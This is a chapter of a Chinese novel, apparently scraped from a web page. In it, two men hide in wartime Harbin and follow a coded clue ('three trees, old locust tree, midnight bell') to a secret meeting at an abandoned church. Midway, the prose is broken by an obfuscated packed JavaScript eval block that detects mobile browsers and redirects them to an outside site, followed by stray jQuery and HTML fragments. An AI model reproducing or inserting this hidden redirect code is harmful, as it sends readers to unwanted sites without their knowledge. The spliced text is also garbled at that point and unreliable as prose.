老人在哈尔滨道外这间低矮的平房里，一躲就是三天。
三天里，陈徽之和沈屹几乎没有出过门。白天就蜷在炕上，听着外面偶尔传来的脚步声和叫卖声，把呼吸压到最低。晚上等巷子彻底安静下来，才敢悄悄起身，在屋里活动活动僵硬的四肢。
老人姓张，是个孤寡老头，靠给人浆洗衣裳勉强糊口。他不多问，也不多说，每天按时把饭菜端到屋里，偶尔带回来一点外面的消息——哪里又在抓人，哪家铺子被封了，哪个熟面孔不见了。消息零零碎碎，像冬天的雪片，落在地上就化了，留不下什么痕迹。
第三天夜里，老人的侄子终于来了。
是个三十来岁的汉子，姓孙，长得五大三粗，但眼神透着股机灵劲儿。他在码头扛活，见的人多，知道的事也多。他一进门，目光就在沈屹和陈徽之身上扫了一圈，没说话，先蹲在炉子边烤了烤手。
“叔跟我说了。”他压低声音，带着浓重的东北口音，“你们要找的人，老郑，我知道。”
沈屹的眼睛一亮：“他在哪儿？”
孙大壮摇摇头：“不知道。但我知道谁能找到他。”
他从怀里掏出一个烟盒，打开，里面藏着一张皱巴巴的纸条。纸条上写着一个地址，还有一行小字——三棵树，老槐树，夜半钟声。
“这是老郑出事前，托人递出来的。”孙大壮说，“他说，如果有人来找他，就把这个给那人看。那人看了，就知道怎么办。”
沈屹接过纸条，借着昏暗的灯光仔细看了看，然后递给陈徽之。
陈徽之的目光落在那行小字上。三棵树，老槐树，夜半钟声——像是一句暗语，又像一个谜题。
“三棵树是什么地方？”他问。
孙大壮道：“哈尔滨东边一个小站，有个老教堂，院子里有棵老槐树，据说有几百年了。教堂早就废弃了，但钟楼还在。夜半钟声——应该是说午夜的时候，那钟楼还会有人敲钟？”
“谁会去敲？”沈屹问。
孙大壮摇摇头：“这我就不知道了。我只负责把东西送到。剩下的事，得你们自己去。”
沈屹点点头，把纸条小心收好，贴身放着。
孙大壮站起身，拍拍身上的灰：“我得走了。天亮前还有一趟活。你们……小心点。”
他走后，屋里重新陷入沉默。炉火烧得很旺，发出噼啪的声响。陈徽之坐在炕沿上，望着跳动的火苗，脑子里转着那个谜题。
三棵树，老槐树，夜半钟声。
“你怎么看？”沈屹在他身边坐下。
陈徽之想了想，缓缓说：“这像是一个接头地点和时间的暗号。三棵树是地点，老槐树是标志物，夜半钟声是时间——午夜。但钟声……”
“教堂废弃了，钟怎么还会响？”沈屹接过他的话，“除非是有人故意敲的。”
陈徽之点点头：“对。所以我们要等的，就是那个敲钟的人。”
沈屹看着他，忽然伸出手，把他揽进怀里。
“徽之，”他的声音很低，在陈徽之耳边响起，“这些日子，苦了你了。”
陈徽之的身体微微一僵，然后慢慢放松下来。他靠在沈屹肩上，闭上眼睛，没有说话。
苦吗？他不知道。他只是记得那些画面——闷罐车里的拥挤和恶臭，平房营地里堆积如山的衣服，那个年轻女人最后燃起光的眼睛。和那些比起来，自己这点苦，算什么呢？
“我不苦。”他轻声说，“只是……有时候会怕。”
“怕什么？”
陈徽之沉默了一会儿，然后说：“怕完不成答应她的事。怕那些名单送不出去。怕……你出事。”
沈屹的手紧了紧，把他揽得更深一些。
“不会的。”他的声音很轻，却像一颗钉子，稳稳钉在陈徽之心里，“有我在，什么都不会发生。”
陈徽之没有说话，只是往他怀里缩了缩。炉火的光照在他们身上，把两个人的影子投在墙上，交叠在一起，久久不分。
第四天夜里，他们出发了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296838|198571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
老人给他们准备了一些干粮，还找了两顶破旧的狗皮帽子，把脸遮得严严实实。临走时，老人站在门口，浑浊的眼睛看着他们，嘴唇动了动，最后只说出一句话：
“活着回来。”
沈屹点了点头，拉着陈徽之，走进了夜色。
哈尔滨的冬夜冷得像刀子。雪已经停了，但风还在刮，从街巷的转角处呼啸而来，卷起地上的积雪，打在脸上生疼。他们低着头，沿着墙根快步走着，尽量避开有灯光的地方。
三棵树在哈尔滨东边，要穿过大半个城区。他们不敢走大路，只能在小巷里穿行，绕来绕去，走了将近两个时辰，才终于看到那个小站的轮廓。
废弃的教堂在站台后面，孤零零地立在一片荒地里。月光下，那栋灰白色的建筑显得格外阴森，窗户黑洞洞的，像无数只眼睛在盯着他们。院子里果然有一棵巨大的老槐树，光秃秃的枝丫伸向天空，像无数只手臂。
他们在院墙外的阴影里蹲下，观察了很久。教堂里没有灯光，没有动静，只有风吹过枯枝发出的呜咽声。
“几点了？”陈徽之低声问。
沈屹掏出那块怀表——沈屹的怀表，陈徽之一直贴身带着的——借着微弱的月光看了看。
“差一刻十二点。”
他们继续等。
时间一分一秒地过去。陈徽之感到自己的脚已经冻得快没知觉了，但他不敢动，只是不停地搓着手指，让血液流通。
忽然，一声钟响划破了寂静。
“当——”
那声音苍老而悠远，像是从另一个世界传来的。接着，第二声，第三声……
陈徽之的心跳随着钟声一下一下加快。他看向沈屹，沈屹也看着他，两个人的眼睛里都燃起了光。
当第十二声钟响落下的时候，教堂的门忽然开了一道缝。
昏黄的灯光从门缝里透出来，在雪地上投下一小片温暖的光晕。
沈屹握了握陈徽之的手，两个人站起身，向那扇门走去。